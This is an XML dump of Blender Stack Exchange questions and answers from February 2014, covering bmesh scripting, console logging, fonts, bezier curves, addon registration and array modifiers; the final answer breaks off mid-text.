  <row Id="6916" PostTypeId="2" ParentId="6910" CreationDate="2014-02-10T10:24:28.013" Score="3" Body="&lt;p&gt;Example subdividing the default cube.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;threshold = 0.1&#xA;obj = bpy.data.objects['Cube']&#xA;bm = bmesh.from_edit_mesh(obj.data)&#xA;&#xA;#do ... while&#xA;while True:&#xA;    edges = [e for e in bm.edges if e.calc_length() &amp;gt; threshold]&#xA;    if not edges:&#xA;        break&#xA;    bmesh.ops.subdivide_edges(&#xA;        bm,&#xA;        edges=edges,&#xA;        cuts=1&#xA;        #use_single_edge=True,&#xA;        #use_grid_fill=True&#xA;        )&#xA;    #triangulate&#xA;    bmesh.ops.triangulate(bm, faces=bm.faces, use_beauty=True)  &#xA;&#xA;bmesh.update_edit_mesh(obj.data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-02-10T15:46:32.127" LastActivityDate="2014-02-10T15:46:32.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6917" PostTypeId="2" ParentId="6915" CreationDate="2014-02-10T10:45:16.700" Score="1" Body="&lt;p&gt;You could initialize your list like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;verts = None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if verts is not None:&#xA;    verts = [[0,0,0]]&#xA;    edges = []&#xA;    faces = []&#xA;else: &#xA;    verts.append([1,1,1])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also you could initialize everything:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    verts = []&#xA;    edges = []&#xA;    faces = []&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and simply invoke append later on (without having the need to do any tests):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    verts.append([1,1,1])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="1363" LastEditDate="2014-02-10T11:32:11.160" LastActivityDate="2014-02-10T11:32:11.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6918" PostTypeId="2" ParentId="6915" CreationDate="2014-02-10T11:12:07.247" Score="3" Body="&lt;p&gt;If you want to test whether a variable exists, you can follow &lt;a href=&quot;https://stackoverflow.com/questions/843277/how-do-i-check-if-a-variable-exists-in-python&quot;&gt;this solution&lt;/a&gt; and see if it's in &lt;code&gt;locals()&lt;/code&gt; or &lt;code&gt;globals()&lt;/code&gt;.  So your code would be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if 'verts' in globals() or 'verts' in locals():&#xA;    verts.append([1,1,1])&#xA;else:&#xA;    verts = [[0,0,0]]&#xA;    edges = []&#xA;    faces = []&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2014-02-10T11:12:07.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6919" PostTypeId="2" ParentId="6905" CreationDate="2014-02-10T13:03:32.447" Score="8" Body="&lt;p&gt;I think you can do it by making it &quot;physically&quot; double-sided, which means:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In Edit mode, Select all faces, then &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt; to duplicate it, then &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; (or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt;) to flip normals for all faces.&lt;/li&gt;&#xA;&lt;li&gt;Add a new material and assign to the selection.&lt;/li&gt;&#xA;&lt;li&gt;Make sure to toggle &lt;strong&gt;Normals&lt;/strong&gt; when exporting.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XuOYC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would work if WebGL can do single-sided render (I bet it can), which is normal-based, like GLSL. Or you can make two separate objects that overlap each other, and have their face normals completetly flipped.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you just want to render it in Blender, here is the solution for BI:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GsG9q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for Cycles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pLIKb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-14T10:45:53.467" LastActivityDate="2014-02-14T10:45:53.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6920" PostTypeId="1" AcceptedAnswerId="6928" CreationDate="2014-02-10T13:46:43.457" Score="2" ViewCount="914" Body="&lt;p&gt;After enabling &lt;a href=&quot;https://blender.stackexchange.com/questions/195/patch-for-non-ascii-characters&quot;&gt;international fonts&lt;/a&gt; I was expecting that I could create a text object like: 咏春拳.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that a different font is used for the text object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yDZg3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Outliner&lt;/em&gt; shows a font &lt;code&gt;Bfont&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IfpGY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be changed? &lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2014-02-11T01:19:11.570" Title="How can a text object be created with non ASCII characters?" Tags="&lt;modeling&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6921" PostTypeId="1" AcceptedAnswerId="6925" CreationDate="2014-02-10T15:12:53.913" Score="7" ViewCount="5052" Body="&lt;p&gt;Is it possible to launch Blender in a mode where everything that appears in the Blender Console is sent to a file?&lt;/p&gt;&#xA;" OwnerUserId="2424" LastEditorUserId="1363" LastEditDate="2014-02-10T19:01:21.620" LastActivityDate="2015-06-06T17:55:45.407" Title="How to write the output of Blender console out to a file" Tags="&lt;python&gt;&lt;command-line&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6923" PostTypeId="1" CreationDate="2014-02-10T15:30:39.613" Score="0" ViewCount="641" Body="&lt;p&gt;I want to make a curved strip with smooth edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made Bezier Circle and tweaked a bit to obtain something between an ellipse and a rectangle (this is the section of the strip). Then I made the curve that describes the shape of the strip, and pressed &lt;em&gt;Object Data&lt;/em&gt; button in &lt;em&gt;Properties&lt;/em&gt; window. In &lt;em&gt;Bezier Object&lt;/em&gt; slot I selected the previously mentioned &quot;ellipse&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the ellipse appears rotated. The greater axis of the ellipse and the other curve should be coplanar, but they are perpendicular.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have rotated the original ellipse, but this doesn't seems to have any effect on the final surface.&lt;/p&gt;&#xA;" OwnerUserId="2425" LastEditorUserId="1363" LastEditDate="2014-02-10T16:15:00.710" LastActivityDate="2014-03-12T23:09:22.350" Title="Extrusion along a curve: position of the profile" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6924" PostTypeId="1" AcceptedAnswerId="6937" CreationDate="2014-02-10T15:35:19.980" Score="2" ViewCount="6452" Body="&lt;p&gt;While modeling an Audi R8 I have the following problem. The thing I want to create is seen in this image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/83H7J.jpg&quot; alt=&quot;Audi R8 reference image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create a sharp crease (outlined in red) which starts around the first exhaust and then goes to the second. &#xA;Is there an efficient way to do this (I also use the Subdivision Surface Modifier for this model).&lt;/p&gt;&#xA;" OwnerUserId="2357" LastEditorUserId="2357" LastEditDate="2014-02-11T16:34:31.250" LastActivityDate="2017-12-02T13:23:20.747" Title="Create sharp crease in smooth Mesh" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-02-11T16:15:24.547" ContentLicense="CC BY-SA 3.0" />
  <row Id="6925" PostTypeId="2" ParentId="6921" CreationDate="2014-02-10T16:12:18.360" Score="7" Body="&lt;p&gt;On Linux/Ubuntu its &lt;code&gt;./blender &amp;gt; myLog123.txt&lt;/code&gt; from the working directory.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;./blender &amp;amp;&amp;gt; myLog123.txt&lt;/code&gt; to include Stderr.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Python you can do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;file = open(filepath, &quot;w&quot;)&#xA;sys.stdout = file&#xA;#...&#xA;#...&#xA;sys.stdout = sys.__stdout__ #reset&#xA;file.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to catch the console output while your script is running.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-02-10T20:47:53.567" LastActivityDate="2014-02-10T20:47:53.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6926" PostTypeId="2" ParentId="6921" CreationDate="2014-02-10T16:12:32.480" Score="6" Body="&lt;p&gt;On Windows,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open a command prompt (&lt;kbd&gt;Windows Key&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;, type &lt;code&gt;cmd&lt;/code&gt; and hit &lt;kbd&gt;Enter&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Drag the Blender shortcut or exe onto the prompt&lt;br&gt;&lt;code&gt;C:\Users\Yourname&amp;gt;C:\Path\to\Blender.exe&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add &lt;code&gt;&amp;gt; %homepath%\Desktop\blender.log&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hit return to start Blender with all console output redirected to &lt;code&gt;blender.log&lt;/code&gt; on your Desktop.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;For Mac and Linux, have a look here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/manual/getting_started/basics/interface/window_system/console_window.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/manual/getting_started/basics/interface/window_system/console_window.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="55" LastEditDate="2015-06-06T17:55:45.407" LastActivityDate="2015-06-06T17:55:45.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6927" PostTypeId="1" AcceptedAnswerId="6944" CreationDate="2014-02-10T16:26:50.947" Score="5" ViewCount="1545" Body="&lt;p&gt;In my Blender installation I have an addon registered, but when I ship my entire Blender folder to another developer (installed into a different path) it appears that the addon is not registered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps addon registry records my full path and this is why my friend doesn't have it registered?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to programatically register an addon in Python?  Alternatively, can the &lt;code&gt;--addon&lt;/code&gt; command line switch register?&lt;/p&gt;&#xA;" OwnerUserId="2424" LastEditorUserId="15795" LastEditDate="2017-04-01T00:50:24.760" LastActivityDate="2020-02-18T01:41:24.150" Title="How to programmatically register an addon" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6928" PostTypeId="2" ParentId="6920" CreationDate="2014-02-10T16:38:23.610" Score="4" Body="&lt;p&gt;Fonts for creating Text objects are set in the Text Data panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hW9Aj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender uses &lt;code&gt;droidsans_final_fixed.ttf&lt;/code&gt; (font name: &lt;strong&gt;DejaVuSans&lt;/strong&gt;) as the detault i18n font, but just for UI text display, located in blender folder &lt;code&gt;..//2.69\datafiles\fonts\&lt;/code&gt;. There also another font called &lt;code&gt;bmonofont-i18n.ttf&lt;/code&gt; (font name: &lt;strong&gt;BlenderMonoI18n&lt;/strong&gt;) In the same folder. You can use it as the font for the Text object if you didn't have any other unicode or asian fonts in hand. Ortherwise, you have to use other system or non-system fonts to create the solid text mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the builtin &lt;code&gt;Bfont.ttf&lt;/code&gt;, it uses standard encoding, and less than 200KB. I don't think it is possible to include the large number of non-ascii charset.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-11T01:19:11.570" LastActivityDate="2014-02-11T01:19:11.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6929" PostTypeId="1" AcceptedAnswerId="6931" CreationDate="2014-02-10T17:02:39.023" Score="2" ViewCount="5404" Body="&lt;p&gt;Conceptually, I am trying to achieve what Merge can do with a mesh: select an end vertex from each of two bezier paths and merge them together with only one vertex as the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the only way I've come close to acceptable results, but there are still imperfections, so I'm wondering if more experienced modelers have techniques to share.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a Bezier Circle&lt;/li&gt;&#xA;&lt;li&gt;Select all the vertices&lt;/li&gt;&#xA;&lt;li&gt;Change the handle types to Free (in essence, lock in the vertex control point parameters)&lt;/li&gt;&#xA;&lt;li&gt;Select two adjacent vertices, hit X, choosing to delete Segment (giving you a hemisphere)&lt;/li&gt;&#xA;&lt;li&gt;Add a Bezier Curve&lt;/li&gt;&#xA;&lt;li&gt;Position the curve so one vertex is near an end vertex in the hemisphere curve&lt;/li&gt;&#xA;&lt;li&gt;Select the two vertices that you positioned close to one another&lt;/li&gt;&#xA;&lt;li&gt;Press F to Make Segment&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When I do that, no matter what my normals are doing, I get a loop as a segment between the two vertices.  To minimize this, before step 8 I have tried changing the handle type at the end of the bezier curve to be free and then scaled down to near zero its control point on the side towards the hemisphere, and doing the same to the corresponding control point on the vertex of the hemisphere that I'll be joining.  But I still get an additional segment (to be expected given the method, but not what I want).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is in Blender 2.6, if that matters.&lt;/p&gt;&#xA;" OwnerUserId="956" LastActivityDate="2014-02-11T01:27:04.177" Title="Better way to join bezier curve to bezier (half) circle?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6930" PostTypeId="1" AcceptedAnswerId="6932" CreationDate="2014-02-10T17:23:12.577" Score="0" ViewCount="464" Body="&lt;p&gt;I am trying to a run a slave blend to connect to a server. I made the slave and it runs on windows and will run fine on when I run in blender and start the service manually with a GUI. How when I try to run with a slightly modified command I run into errors.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;open /Applications/Blender/blender &quot;/Users/schultz/Desktop/Blender/slave.blend&quot; --addons netrender -a -noaudio -nojoystick&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to run &#xA;terminal I get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;open: unrecognized option '--addons'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I also tried to do an applescipt version&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do shell script &quot;open -a /Applications/Blender/blender &quot;/Users/schultz/Desktop/Blender/slave.blend&quot; --addons netrender -a -noaudio -nojoystick&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that yielded&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The operation couldn't be completed. ( com.apple.Automator error -212)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If anyone could inform me how to either send arguments to open or how to fix what I have to do that would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to run it with exec and supply the arguments after&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;exec &quot;/Applications/Blender/blender.app/Contents/MacOS/blender&quot; [-b &quot;/Users/schultz/Desktop/Blender/slave.blen&quot; netrender -a -noaudio -nojoystick]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and that got me this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;unknown option 'n': skipping  &#xA;unknown option 'n': skipping&#xA;wm_main_playanim_intern: '/Users/schultz/' not an image file&#xA;&#xA;[Process completed]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2426" LastEditorUserId="2217" LastEditDate="2016-12-24T04:15:48.767" LastActivityDate="2016-12-24T04:15:48.767" Title="OSX Unrecognized Arguments Terminal Render" Tags="&lt;blend-files&gt;&lt;command-line&gt;&lt;network&gt;&lt;osx&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6931" PostTypeId="2" ParentId="6929" CreationDate="2014-02-10T17:49:37.323" Score="4" Body="&lt;p&gt;After step 8, click &lt;kbd&gt;LMB&lt;/kbd&gt; once or twice to select the useless point, then &lt;kbd&gt;X&lt;/kbd&gt; &gt; &lt;strong&gt;Vertex&lt;/strong&gt; to delete it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, it's recommended to enable &lt;strong&gt;Snapping&lt;/strong&gt; so that the two vertex can be overlapped, that brings the new segment with zero length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use a nice addon called &lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Curve/Curve_Tools&quot; rel=&quot;nofollow&quot;&gt;Curve Tools&lt;/a&gt;&lt;/strong&gt; (&lt;em&gt;by Mackraken&lt;/em&gt;). I recommend to use the modified version &lt;strong&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?221213-Tools-for-curves/page7&quot; rel=&quot;nofollow&quot;&gt;Curve Tools 2&lt;/a&gt;&lt;/strong&gt; (&lt;em&gt;by Mackraken and guy lateur&lt;/em&gt;), which can handle this perfectly while keeping curvatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added a short &lt;strong&gt;&lt;a href=&quot;http://youtu.be/S9U2MQVhOZ4&quot; rel=&quot;nofollow&quot;&gt;demo video&lt;/a&gt;&lt;/strong&gt; (01:35).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B1ojv5B6Lb-3dUJWMm9wdkRpR2s/edit?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is the lastest version, in case you cannot access Blendernation.com. (File &gt; Download)&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-11T01:27:04.177" LastActivityDate="2014-02-11T01:27:04.177" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6932" PostTypeId="2" ParentId="6930" CreationDate="2014-02-10T18:35:53.750" Score="3" Body="&lt;p&gt;The issue isn't with Blender. It's with the command you're running. Using the &lt;code&gt;open&lt;/code&gt; command is fine for opening applications, but it doesn't allow you to pass arguments to the application (as far as I know).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to call the executable directly with:&#xA;&lt;code&gt;/Applications/Blender/blender.app/Contents/MacOS/blender &quot;/Users/schultz/Desktop/Blender/slave.blend&quot; --addons netrender -a -noaudio -nojoystick&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Calling the executable itself will allow you to pass arguments to Blender.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2014-02-10T18:48:00.240" LastActivityDate="2014-02-10T18:48:00.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6933" PostTypeId="2" ParentId="5427" CreationDate="2014-02-10T18:59:10.280" Score="7" Body="&lt;p&gt;You can use a CollectionProperty if you really need to let the user select multiple files (in different folders).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code invokes a file selector, that let's you add the current filepath as well as the selected files to a list. It allows for several input/output paths. It won't add duplicates, and you can also remove entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The example operator is derives from the File Export template, but &lt;em&gt;Add Files&lt;/em&gt; doesn't make much sense for an export operation - use it for imports instead!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GdzLz.png&quot; alt=&quot;File Selector Multiple Paths&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy_extras.io_utils import ExportHelper&#xA;from bpy.props import StringProperty, IntProperty, CollectionProperty&#xA;from bpy.types import Operator&#xA;from os.path import dirname, join&#xA;&#xA;class AddFile(Operator):&#xA;    bl_idname = &quot;export_test.add_file&quot;&#xA;    bl_label = &quot;Add File&quot;&#xA;&#xA;    filepath = StringProperty()&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        op = context.active_operator&#xA;        return op.filepath not in (f.name for f in op.file_list)&#xA;&#xA;    def execute(self, context):&#xA;        item = context.active_operator.file_list.add()&#xA;        item.name = self.filepath&#xA;        return {'FINISHED'}&#xA;&#xA;class AddFiles(Operator):&#xA;    bl_idname = &quot;export_test.add_files&quot;&#xA;    bl_label = &quot;Add Files&quot;&#xA;&#xA;    filepaths = CollectionProperty(type=bpy.types.PropertyGroup)&#xA;&#xA;    def execute(self, context):&#xA;        file_list = context.active_operator.file_list&#xA;&#xA;        for fp in self.filepaths:&#xA;            if fp.name not in (f.name for f in file_list):&#xA;                item = file_list.add()&#xA;                item.name = fp.name&#xA;        return {'FINISHED'}&#xA;&#xA;class RemoveFile(Operator):&#xA;    bl_idname = &quot;export_test.remove_file&quot;&#xA;    bl_label = &quot;Remove File&quot;&#xA;&#xA;    index = IntProperty()&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return len(context.active_operator.file_list) &amp;gt; 0&#xA;&#xA;    def execute(self, context):&#xA;        try:&#xA;            context.active_operator.file_list.remove(self.index)&#xA;        except IndexError:&#xA;            pass&#xA;        return {'FINISHED'}&#xA;&#xA;class ExportSomeData(Operator, ExportHelper):&#xA;    &quot;&quot;&quot;This appears in the tooltip of the operator and in the generated docs&quot;&quot;&quot;&#xA;    bl_idname = &quot;export_test.some_data&quot;&#xA;    bl_label = &quot;Export Some Data&quot;&#xA;&#xA;    # ExportHelper mixin class uses this&#xA;    filename_ext = &quot;.txt&quot;&#xA;&#xA;    filter_glob = StringProperty(&#xA;            default=&quot;*.txt&quot;,&#xA;            options={'HIDDEN'},&#xA;            )&#xA;&#xA;    # special prop, blender fills it with all selected files if present&#xA;    files = CollectionProperty(type=bpy.types.PropertyGroup)&#xA;&#xA;    file_list = CollectionProperty(type=bpy.types.PropertyGroup)&#xA;    file_list_index = IntProperty()&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        row = layout.row(True)&#xA;        row.label(bpy.path.basename(self.filepath))&#xA;&#xA;        row.operator(AddFile.bl_idname, icon='ZOOMIN').filepath = self.filepath&#xA;&#xA;        props = row.operator(AddFiles.bl_idname, icon='ZOOMIN')&#xA;        folder = dirname(self.filepath)&#xA;        for f in self.files:&#xA;            item = props.filepaths.add()&#xA;            item.name = join(folder, f.name)&#xA;&#xA;        row.operator(RemoveFile.bl_idname, icon='ZOOMOUT', text=&quot;&quot;).index = self.file_list_index&#xA;&#xA;        layout.template_list(&quot;UI_UL_list&quot;, &quot;AddFiles&quot;, self, &quot;file_list&quot;, self, &quot;file_list_index&quot;)&#xA;&#xA;    def execute(self, context):&#xA;        for f in self.file_list:&#xA;            print(f.name)&#xA;        self.report({'WARNING'}, &quot;\n&quot;.join(f.name for f in self.file_list))&#xA;        return {'FINISHED'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.export_test.some_data('INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-10T18:59:10.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6934" PostTypeId="1" AcceptedAnswerId="6939" CreationDate="2014-02-10T19:47:35.210" Score="8" ViewCount="2232" Body="&lt;p&gt;I want to create a hexagonal Array (in other name: honeycomb) of this object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1cIlV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is very important: I don't want to &quot;join&quot; the distributed objects, I want to leave them as &lt;em&gt;dynamic&lt;/em&gt; as possible (so I prefer modifier-like solutions), but I also want blender to treat them as one mesh-object, just like the Array-modifier would do, when I click on the &lt;code&gt;merge&lt;/code&gt; checkbox. So when I add a Subdivision-modifier to my object it will look like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UWU5o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;NOTE:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sample object I provided here is a simplified object of the one I'm going to use for this purpose: so the Wireframe-modifier and the Skin-modifier is not an option in my case. Also distributing with a hexagonal grid particle system or duplicate object to vertices of a parent object are not options, since the &quot;final&quot; object won't be &quot;merged&quot; as a single one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Thanks in advance!&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1989" LastEditorUserId="1989" LastEditDate="2014-02-10T19:57:41.850" LastActivityDate="2014-02-10T21:56:34.123" Title="How to distribute an object to a hexagonal grid?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6935" PostTypeId="2" ParentId="6934" CreationDate="2014-02-10T20:04:52.173" Score="9" Body="&lt;p&gt;Given the shape that you have pictured above, you can do this fairly easily with a couple of array modifiers.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Start by creating a sing &quot;cell&quot; of the grid by adding an array modifier to the object. Uncheck &lt;em&gt;Relative Offset&lt;/em&gt; and check &lt;em&gt;Object Offset&lt;/em&gt;. Create an empty and rotate and use it for the &lt;em&gt;Object Offset&lt;/em&gt;. Rotate the empty 60° (make sure that the object's origin is in the same position as the empty):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8t6YT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Array Modifier Setup&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0NwEw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Result&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check the &lt;em&gt;Merge&lt;/em&gt; option and change the distance until all the vertices merge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tf8ui.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add another array modifier, and using either &lt;em&gt;Relative Offset&lt;/em&gt; or another 